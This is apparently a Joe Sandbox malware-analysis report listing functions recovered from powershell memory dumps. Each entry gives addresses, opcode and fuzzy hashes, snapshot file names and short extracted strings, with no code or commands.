Opcode ID: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction ID: dee7492f8d53b368361b802e9e46753d702f6442d09d682430aa850ca16352d6
Opcode Fuzzy Hash: fd4c8d452a5771c60ee91f320fcc0371df8875e812d4233fbae53c791bb77087
Instruction Fuzzy Hash: 44E08632B1011497CB089569D4104DDF7A9EBCD321F04807ADE0AA7340DE32991586E1

Function 07F50798 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 237c444006e2f60c1223dad814f10c567cdd56d03856cb760ff391cd9a483dfc
Instruction ID: 0a2597930a031972b39267fa51146e99acb32bc4859d4e91b04dc23aa17b379d
Opcode Fuzzy Hash: 237c444006e2f60c1223dad814f10c567cdd56d03856cb760ff391cd9a483dfc
Instruction Fuzzy Hash: 28E0CD717407141B8211563EB51046F77DADFC4764354406EE659C7300DE64EC0547D5

Function 0419BDF0 Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bac68bf4dc348721091b1aa8554c95c841ff229ce0b54627b6703c47119122b
Instruction ID: ed2cb004d0cf1e60fb40d270bd91f237f1c68b51f111d44787f292984a7e654a
Opcode Fuzzy Hash: 4bac68bf4dc348721091b1aa8554c95c841ff229ce0b54627b6703c47119122b
Instruction Fuzzy Hash: 34D05E5234812A171E2420AA78807BF91CFAAC49A8705027ADB06C7382EF41FC0153E1

Function 0419FC31 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 711cd32e17ecaf2389730b2a6db55493b02818f2cac70de34ef509c1bb89cef4
Instruction ID: 44c933223fd364dd6724cd50de98a47461fd817f5023c5ac4eb111e15c787028
Opcode Fuzzy Hash: 711cd32e17ecaf2389730b2a6db55493b02818f2cac70de34ef509c1bb89cef4
Instruction Fuzzy Hash: EFE04F74D04209AF8740DFB8CD429ADFFF4AB48201B54C4AA9909E7301E6729A52DBE2

Function 07F59778 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c25ddb906b5772ece3c8d9dc29447361735f931d9dacc283c052eef4e6ba0800
Instruction ID: 5d80eef0bb62151e51ca9f48124fa03f6cf936c6de86be184983c6c590020979
Opcode Fuzzy Hash: c25ddb906b5772ece3c8d9dc29447361735f931d9dacc283c052eef4e6ba0800
Instruction Fuzzy Hash: 2CE0C2B6A083405FC31A476AA5404D23FAA5AC6161305046BE999C77A1DE68FC4083A2

Function 0419A720 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a9b0befeb3f8d57e9d292a05ae0fc9fc0b0a4e119fa8ffe2ded5be420d2643f
Instruction ID: a17f7581484f044063c4c5d9c2f80f18bcd8ea369cb31db6db2a18c3c19b7df0
Opcode Fuzzy Hash: 1a9b0befeb3f8d57e9d292a05ae0fc9fc0b0a4e119fa8ffe2ded5be420d2643f
Instruction Fuzzy Hash: 93D0223728D3E00FEF0B4230B8A16EAABB15EC327471883B3E002C60428A2F07099360

Function 07F56060 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3daafc63c9d0dd48c6815a970b3aa8ab3ddbc5d4b4e47cbdfe3de3038c9d182
Instruction ID: 242f4efeeea610a7df77ce25db623f9a12949560d9e446c4b81d4066ffd0db84
Opcode Fuzzy Hash: d3daafc63c9d0dd48c6815a970b3aa8ab3ddbc5d4b4e47cbdfe3de3038c9d182
Instruction Fuzzy Hash: 61D022330893804FC3039729E4028C0BFB8CE021203B190C3F444CB973D22AEC098ED2

Function 07F56130 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cfc696968b626f3f3382b32fb2d2a1f1ac4317fb7c02cf250769d003a48fc16f
Instruction ID: 70c06516225a0f0ca56b9b2f8eb4cb00cc0c41f4b800adc78212ebdf8d3e8411
Opcode Fuzzy Hash: cfc696968b626f3f3382b32fb2d2a1f1ac4317fb7c02cf250769d003a48fc16f
Instruction Fuzzy Hash: 97D05E35210110AFC304EB68E408D86BBE9EB49665B118195FD09CB322CB35EC008BD1

Function 0419A1B0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6281d8f6b05039403b585ddba5614435bc75cc52445e3a1436bffddd52923b73
Instruction ID: 6d806ec5aa77d0f2364311b50740f10f1b8828660731fc6ba4a5d08c892c2be2
Opcode Fuzzy Hash: 6281d8f6b05039403b585ddba5614435bc75cc52445e3a1436bffddd52923b73
Instruction Fuzzy Hash: 25D0123604D3C44FC3171B30B8654D1BF61ED0391474204DBE55B4F6A3CA2B8A4ACB52

Function 0419FC40 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction ID: 39af27f1fc47f03d0007ba055609d81b3fda3764922ad51d8b936b8bb4a0d2db
Opcode Fuzzy Hash: a0679d7c354d51605d8bd13a266064c3acceb09603bccb70a5f4b130bfb080f8
Instruction Fuzzy Hash: 8AD04C75D042099F8784DFA9894156DFBF4AB48200B5085AA8919D7301E7315A129BD5

Function 0419B090 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6704c18fb2af777ff2afea4cde27723bc7c018e1178087237013638371314691
Instruction ID: 562c68ca97d4c7fb454c7f5ab7cff05a9538451b0c0c9d1af51d6d8afbee1435
Opcode Fuzzy Hash: 6704c18fb2af777ff2afea4cde27723bc7c018e1178087237013638371314691
Instruction Fuzzy Hash: 9ED06774A05249ABCB48EFA8E88697EBFB5BB44305F004169ED09A3394EB356C51DBC1

Function 0419AFC8 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9db4da43d37ea6444481b7c35fe53d6525919b78b5402919bbfb8b9b03b7952
Instruction ID: b9181b3ea14f05303511901d385f50ec749d6127a98a5475e57d4c5460a461b4
Opcode Fuzzy Hash: f9db4da43d37ea6444481b7c35fe53d6525919b78b5402919bbfb8b9b03b7952
Instruction Fuzzy Hash: D3D01734905109ABCB08AFA4E86B8BDBB34EA00341F40006DDD17621C0EB252E4ADAC0

Function 0419A1C0 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3394430adf82a1e2fed292ccb1f039cdea7e7a9c5cf842bc7898ee5a616ab311
Instruction ID: 4473aaebdf7e1ab36fe8cb43f2d39c18c76de898e53a00f7933eca1ca4852932
Opcode Fuzzy Hash: 3394430adf82a1e2fed292ccb1f039cdea7e7a9c5cf842bc7898ee5a616ab311
Instruction Fuzzy Hash: 90B092310443098FC2096F75E808815B76ABA40A0938108A8EA1F0F3939E3AE851CA49

Function 07F56070 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction ID: 5b341190c77585658557a2ac94e766b1a328ed5906a4ff1de745a14f7d5a293c
Opcode Fuzzy Hash: e37fa2c4b25c90fedda369ee33962fc46b1138c5811620e710add117a99e31e3
Instruction Fuzzy Hash: 43B092301502088F82409A59D445C007BA8AF08A143410090E1088B632C621F8008A40

Function 041992B0 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe8a6547c910a2852071092ac38f276589c93264eabe29f606c44a7ba694f110
Instruction ID: 02b28b3cc28ae2e837f022d17cddaaf45c22e3cec03c604ae213b5cbd54e14c5
Opcode Fuzzy Hash: fe8a6547c910a2852071092ac38f276589c93264eabe29f606c44a7ba694f110
Instruction Fuzzy Hash: 9CA00236B2459147BF4DDA3556DB93E26B35BC2241306C47A9513C0044DE395846A504

Non-executed Functions

Function 04197202 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

LR^q, xrefs: 04197260

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: ae1b56450eb411a79d49426efa2e8b21045359d8beb7e4bfd8c03ca2605c32b7
Instruction ID: 3ddd08a66afb9a1ee3d87845529d44c0f55258b209acf9426763c68b79933bed
Opcode Fuzzy Hash: ae1b56450eb411a79d49426efa2e8b21045359d8beb7e4bfd8c03ca2605c32b7
Instruction Fuzzy Hash: E7113B313183802FC70697389850AEE2BE2DFC2214B1885EEE45A9F1E2DE34694AC355

Function 07F5E0A8 Relevance: 55.4, Strings: 44, Instructions: 371COMMON

Download Yara Rule

Strings

4c^q, xrefs: 07F5E57B
(_^q, xrefs: 07F5E176
(_^q, xrefs: 07F5E1A2
4c^q, xrefs: 07F5E493
4c^q, xrefs: 07F5E258
(_^q, xrefs: 07F5E209
4c^q, xrefs: 07F5E5AF
(_^q, xrefs: 07F5E1EA
4c^q, xrefs: 07F5E571
(_^q, xrefs: 07F5E1C1
(_^q, xrefs: 07F5E1CB
(_^q, xrefs: 07F5E180
4c^q, xrefs: 07F5E514
(_^q, xrefs: 07F5E1FF
(_^q, xrefs: 07F5E0D3
4c^q, xrefs: 07F5E4C2
4c^q, xrefs: 07F5E552
4c^q, xrefs: 07F5E538
4c^q, xrefs: 07F5E4E9
4c^q, xrefs: 07F5E3C6
4c^q, xrefs: 07F5E489
4c^q, xrefs: 07F5E52E
4c^q, xrefs: 07F5E3D0
4c^q, xrefs: 07F5E240
(_^q, xrefs: 07F5E1E0
4c^q, xrefs: 07F5E590
4c^q, xrefs: 07F5E47F
(_^q, xrefs: 07F5E14D
4c^q, xrefs: 07F5E5B9
4c^q, xrefs: 07F5E55C
(_^q, xrefs: 07F5E0DD
4c^q, xrefs: 07F5E24C
4c^q, xrefs: 07F5E4F3
4c^q, xrefs: 07F5E3A2
4c^q, xrefs: 07F5E300
(_^q, xrefs: 07F5E1AC
4c^q, xrefs: 07F5E4B8
(_^q, xrefs: 07F5E0B9
4c^q, xrefs: 07F5E59A
(_^q, xrefs: 07F5E157
4c^q, xrefs: 07F5E262
4c^q, xrefs: 07F5E50A
4c^q, xrefs: 07F5E3AC
4c^q, xrefs: 07F5E30A

Memory Dump Source

Source File: 00000013.00000002.2022819413.0000000007F50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07F50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7f50000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$(_^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q$4c^q
API String ID: 0-502324356
Opcode ID: 35f51a923830b4dcd538dd771fa80c1fa5b5844cf11e09b66c07b332a1946147
Instruction ID: 7ab06e5acc0b9496b7079d849d524bfaa4b54441c8862ebc8bdcbb40399c9bdc
Opcode Fuzzy Hash: 35f51a923830b4dcd538dd771fa80c1fa5b5844cf11e09b66c07b332a1946147
Instruction Fuzzy Hash: C7E172F4E006068FC718DF69C48466AFBF2BF88704F288A29D5669F794DB30E945CB51

Function 06FC1110 Relevance: 20.3, Strings: 16, Instructions: 320COMMON

Download Yara Rule

Strings

$^q, xrefs: 06FC11BD
tP^q, xrefs: 06FC128B
`Q^q, xrefs: 06FC12EB
$^q, xrefs: 06FC1381
$^q, xrefs: 06FC11D9
$^q, xrefs: 06FC13AB
843l, xrefs: 06FC122C
`Q^q, xrefs: 06FC12AB
fcq, xrefs: 06FC11FA
843l, xrefs: 06FC1236
$^q, xrefs: 06FC119C
$^q, xrefs: 06FC13BB
tP^q, xrefs: 06FC127F
`Q^q, xrefs: 06FC1245
$^q, xrefs: 06FC1391
`Q^q, xrefs: 06FC12B7

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: fcq$843l$843l$`Q^q$`Q^q$`Q^q$`Q^q$tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-151967906
Opcode ID: fdb625c53bee8b0c93ada77d4e13a958b3abb646e7e61144fa4e72225a097c93
Instruction ID: 5915b2b49b70eea27a778958aea4f7af756f26e628a6273923ebd1f9a0c4077a
Opcode Fuzzy Hash: fdb625c53bee8b0c93ada77d4e13a958b3abb646e7e61144fa4e72225a097c93
Instruction Fuzzy Hash: 73C11635E0020ADFDB55CF58CA04AAA7BF6BF85324F158459E8019B392CB35CCA5CBE1

Function 06FC110F Relevance: 12.7, Strings: 10, Instructions: 185COMMON

Download Yara Rule

Strings

843l, xrefs: 06FC122C
$^q, xrefs: 06FC11BD
`Q^q, xrefs: 06FC12AB
fcq, xrefs: 06FC11FA
$^q, xrefs: 06FC1381
$^q, xrefs: 06FC119C
tP^q, xrefs: 06FC127F
`Q^q, xrefs: 06FC1245
$^q, xrefs: 06FC11D9
$^q, xrefs: 06FC13AB

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: fcq$843l$`Q^q$`Q^q$tP^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2262773652
Opcode ID: 4e64fe8abab7c51313803ac6fb2ba4ebaee6b541b14b13691c2863dbe78076b5
Instruction ID: 51658af90aed3b8114a62dae5c0c2f6b89ec2825be2d6a0d7c78814b8194d908
Opcode Fuzzy Hash: 4e64fe8abab7c51313803ac6fb2ba4ebaee6b541b14b13691c2863dbe78076b5
Instruction Fuzzy Hash: BF61B435E0020ADFEB64CF08C745BAABBF6BB41365F15805DE8019B292C735DDA5CBA1

Function 06FC3B68 Relevance: 11.5, Strings: 9, Instructions: 235COMMON

Download Yara Rule

Strings

4c^q, xrefs: 06FC3D61
4c^q, xrefs: 06FC3D57
4c^q, xrefs: 06FC3BFC
4c^q, xrefs: 06FC3D6B
843l, xrefs: 06FC3C46
tP^q, xrefs: 06FC3CA1
tP^q, xrefs: 06FC3C95
Q&i, xrefs: 06FC3E75
843l, xrefs: 06FC3C3A

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$843l$843l$tP^q$tP^q$Q&i
API String ID: 0-2881678709
Opcode ID: f92864edd85e230bd732f82d7a9e114b4f3579c05c815ff0827f069c09fd3bec
Instruction ID: a043c869f3ac32da7980b5a657918629285e50d8effca0a2e8a3851fdf3f98c8
Opcode Fuzzy Hash: f92864edd85e230bd732f82d7a9e114b4f3579c05c815ff0827f069c09fd3bec
Instruction Fuzzy Hash: 15814732F002199FCB589B68D9546AEBBE2AF84760F14C469E9459F391CF32DC18C7E1

Function 06FC2EA0 Relevance: 11.4, Strings: 9, Instructions: 149COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06FC2F31
J6l, xrefs: 06FC2FB3
4'^q, xrefs: 06FC2F3D
843l, xrefs: 06FC2F1E
tP^q, xrefs: 06FC2F87
tP^q, xrefs: 06FC2F93
843l, xrefs: 06FC2F14
J6l, xrefs: 06FC2F49
J6l, xrefs: 06FC2FBF

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$843l$843l$tP^q$tP^q$J6l$J6l$J6l
API String ID: 0-848205046
Opcode ID: 9bd0e37942ae153c4cdee1a29e402c4664882a0b0ce299dd7b751db18410eb49
Instruction ID: ee71010b48bf31c33960c6cb7159f62554b9f2f174897afb6ba884b84c8a947c
Opcode Fuzzy Hash: 9bd0e37942ae153c4cdee1a29e402c4664882a0b0ce299dd7b751db18410eb49
Instruction Fuzzy Hash: A2415832F0420ACFDB558B689A14667FBA2EFC1220F18C4AED5058F255CB72CA45C7E2

Function 04199980 Relevance: 10.2, Strings: 8, Instructions: 223COMMON

Download Yara Rule

Strings

(_^q, xrefs: 04199B12
$^q, xrefs: 04199A62
4c^q, xrefs: 04199AA3
4c^q, xrefs: 04199ADE
$^q, xrefs: 04199B82
$^q, xrefs: 04199B8E
$^q, xrefs: 04199B4F
4c^q, xrefs: 04199AD4

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$4c^q$4c^q$4c^q$$^q$$^q$$^q$$^q
API String ID: 0-2856987912
Opcode ID: e66a51e3e65fac102be3e089083a9cd8434f9e10fc4c19cd4a600f41c36bb53d
Instruction ID: 305584caea1d501fc797a3fa23768902dcabf2d0a54f7d6584dac297db984681
Opcode Fuzzy Hash: e66a51e3e65fac102be3e089083a9cd8434f9e10fc4c19cd4a600f41c36bb53d
Instruction Fuzzy Hash: 6C6107B17201409FEB295A788494B7E37D7ABC9704F2584BDE4069F395DF3AEC028391

Function 06FC21B0 Relevance: 10.1, Strings: 8, Instructions: 144COMMON

Download Yara Rule

Strings

$^q, xrefs: 06FC220C
$^q, xrefs: 06FC222B
$^q, xrefs: 06FC2200
$^q, xrefs: 06FC221F
tP^q, xrefs: 06FC2270
$^q, xrefs: 06FC21C8
tP^q, xrefs: 06FC2264
$^q, xrefs: 06FC21E4

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: tP^q$tP^q$$^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-815214575
Opcode ID: 4de41f57328615c01247c953e44a33dd6aeb21441ad3938af0381b66a6adf99b
Instruction ID: 46efdc0859e6a21a975508483066e1c1c2ae8b20a69ac6ba69f4b2b30fa7a601
Opcode Fuzzy Hash: 4de41f57328615c01247c953e44a33dd6aeb21441ad3938af0381b66a6adf99b
Instruction Fuzzy Hash: 2E418B32F143568FEB698B69D9549AABBF5EF85620B2440AFD504CF312CE31CE05C3A1

Function 06FC4BE8 Relevance: 7.8, Strings: 6, Instructions: 336COMMON

Download Yara Rule

Strings

4'^q, xrefs: 06FC4CE5
+l, xrefs: 06FC4D66
+l, xrefs: 06FC4D74
4'^q, xrefs: 06FC4CD9
Tr5l, xrefs: 06FC4C80
Tr5l, xrefs: 06FC4C76

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$Tr5l$Tr5l$+l$+l
API String ID: 0-352741258
Opcode ID: 68689007b543f75ef9b8a5567861d1405fda204c726ec7d6cd528df8aaf6f4fe
Instruction ID: 7c55676424e6617346fab0db3f79bf572966334c2ae55a8cac25ee7ff7f63c04
Opcode Fuzzy Hash: 68689007b543f75ef9b8a5567861d1405fda204c726ec7d6cd528df8aaf6f4fe
Instruction Fuzzy Hash: EFA14835F042068FCB94DB68DA64AAABBF2AFC5220F1584AED505CF361DB35CC45C7A1

Function 06FC0E40 Relevance: 7.7, Strings: 6, Instructions: 234COMMON

Download Yara Rule

Strings

tP^q, xrefs: 06FC0ED8
r5l, xrefs: 06FC0FF5
tP^q, xrefs: 06FC0ECC
r5l, xrefs: 06FC0FEB
4'^q, xrefs: 06FC102B
4'^q, xrefs: 06FC1037

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$tP^q$tP^q$r5l$r5l
API String ID: 0-1261531829
Opcode ID: 7daedcb1ee0a0d7c6cc8f8c155dd48f4e43ec474fc4b194db9f033179c1c66a4
Instruction ID: f98e248cb2f588d81ff0cd8709ef5f83c197f6dccadcc290951ff7bf9afc1df5
Opcode Fuzzy Hash: 7daedcb1ee0a0d7c6cc8f8c155dd48f4e43ec474fc4b194db9f033179c1c66a4
Instruction Fuzzy Hash: 97712331F40246CFD754CB689914A6ABBE2EFC5320F24C06EE5098B252DE72DC96C7D1

Function 06FC3B47 Relevance: 7.7, Strings: 6, Instructions: 151COMMON

Download Yara Rule

Strings

4c^q, xrefs: 06FC3D61
4c^q, xrefs: 06FC3D57
4c^q, xrefs: 06FC3BFC
4c^q, xrefs: 06FC3D6B
tP^q, xrefs: 06FC3C95
843l, xrefs: 06FC3C3A

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 4c^q$4c^q$4c^q$4c^q$843l$tP^q
API String ID: 0-2173831383
Opcode ID: ebf86deb39355bb73370def08ea566a021f94fd0e30a684e95bd3a93b5c5edb8
Instruction ID: d333cc8c002a3e48e0da16856faa1124a6d07feb26a3e240dd61f4407be1c0a5
Opcode Fuzzy Hash: ebf86deb39355bb73370def08ea566a021f94fd0e30a684e95bd3a93b5c5edb8
Instruction Fuzzy Hash: 1A512932E0025A9FC7588F24DA44AADBBF2AF447A0F59C49DE8459F251CB31DC44CBA1

Function 0419A2A2 Relevance: 6.5, Strings: 5, Instructions: 243COMMON

Download Yara Rule

Strings

`_q, xrefs: 0419A4C4
tM5l, xrefs: 0419A354
`_q, xrefs: 0419A542
`_q, xrefs: 0419A422
`_q, xrefs: 0419A3A3

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: tM5l$`_q$`_q$`_q$`_q
API String ID: 0-2633014842
Opcode ID: 7c159178e59f31fca18fd79b118b1d4b2219ff1af0554050193d34bc2339f54b
Instruction ID: 90608272abdb736c5eafc9471dbe5262e155c89dd878dece3f253854275c15cc
Opcode Fuzzy Hash: 7c159178e59f31fca18fd79b118b1d4b2219ff1af0554050193d34bc2339f54b
Instruction Fuzzy Hash: 9FB1A374E012099FDB54DFA9D990A9DFBF2FF48304F208629E819AB315DB30A945CF90

Function 0419A2B0 Relevance: 6.5, Strings: 5, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 0419A4C4
tM5l, xrefs: 0419A354
`_q, xrefs: 0419A542
`_q, xrefs: 0419A422
`_q, xrefs: 0419A3A3

Memory Dump Source

Source File: 00000013.00000002.1980262964.0000000004190000.00000040.00000800.00020000.00000000.sdmp, Offset: 04190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4190000_powershell.jbxd

Similarity

API ID:
String ID: tM5l$`_q$`_q$`_q$`_q
API String ID: 0-2633014842
Opcode ID: fb25e7cadc858c94ec1391dad815648a87be14f9059e95cfa59007b77687c9f2
Instruction ID: 4796bbbcd199ea4cc60f51923f17862478008fff007d93cbf622a45c76da7fac
Opcode Fuzzy Hash: fb25e7cadc858c94ec1391dad815648a87be14f9059e95cfa59007b77687c9f2
Instruction Fuzzy Hash: 7BB18374E016099FDB54DFA9D990A9DFBF2FF48304F208629E819AB315DB30A945CF90

Function 06FC3F78 Relevance: 6.5, Strings: 5, Instructions: 219COMMON

Download Yara Rule

Strings

tP^q, xrefs: 06FC4091
(_^q, xrefs: 06FC4133
843l, xrefs: 06FC4042
tP^q, xrefs: 06FC409D
843l, xrefs: 06FC4036

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: (_^q$843l$843l$tP^q$tP^q
API String ID: 0-3503333343
Opcode ID: 0f4683bae5c738365d7c0c9e5e29878335ac88d38074d7b14616cb56fd03c0d6
Instruction ID: 0aca9e57a005df3add6e5b7c339933b537d82506e8b44ac8a2f0d0c63577ab36
Opcode Fuzzy Hash: 0f4683bae5c738365d7c0c9e5e29878335ac88d38074d7b14616cb56fd03c0d6
Instruction Fuzzy Hash: FA714575F402099FDB589B68D52466ABBF2FF84320F14C46EE8459F350CA32DC54CBA1

Function 06FC5020 Relevance: 6.4, Strings: 5, Instructions: 141COMMON

Download Yara Rule

Strings

843l, xrefs: 06FC506A
tP^q, xrefs: 06FC50B7
h8&i, xrefs: 06FC5185
tP^q, xrefs: 06FC50C3
843l, xrefs: 06FC5060

Memory Dump Source

Source File: 00000013.00000002.2017844972.0000000006FC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_6fc0000_powershell.jbxd

Similarity

API ID:
String ID: 843l$843l$h8&i$tP^q$tP^q
API String ID: 0-3585816546
